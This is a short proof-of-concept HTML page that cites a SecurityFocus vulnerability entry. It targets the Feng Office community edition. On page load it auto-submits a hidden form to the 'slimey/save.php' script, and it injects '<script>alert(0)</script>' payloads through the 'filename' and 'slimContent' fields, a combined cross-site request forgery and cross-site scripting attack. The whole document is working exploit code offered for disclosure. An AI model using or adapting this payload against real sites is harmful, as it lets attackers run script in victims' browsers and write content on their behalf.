Source: http://www.securityfocus.com/bid/47049/info

<html> 
<body onload="document.forms[0].submit()"> 
<form method="POST" action="http://localhost/feng_community/public/assets/javascript/slimey/save.php"> 
<input type="hidden" name="filename" value=""><script>alert(0)</script>" /> 
<input type="hidden" name="slimContent" value="&lt;/textarea&gt;<script>alert(0)</script>" /> 
</form> 
</body> 
</html>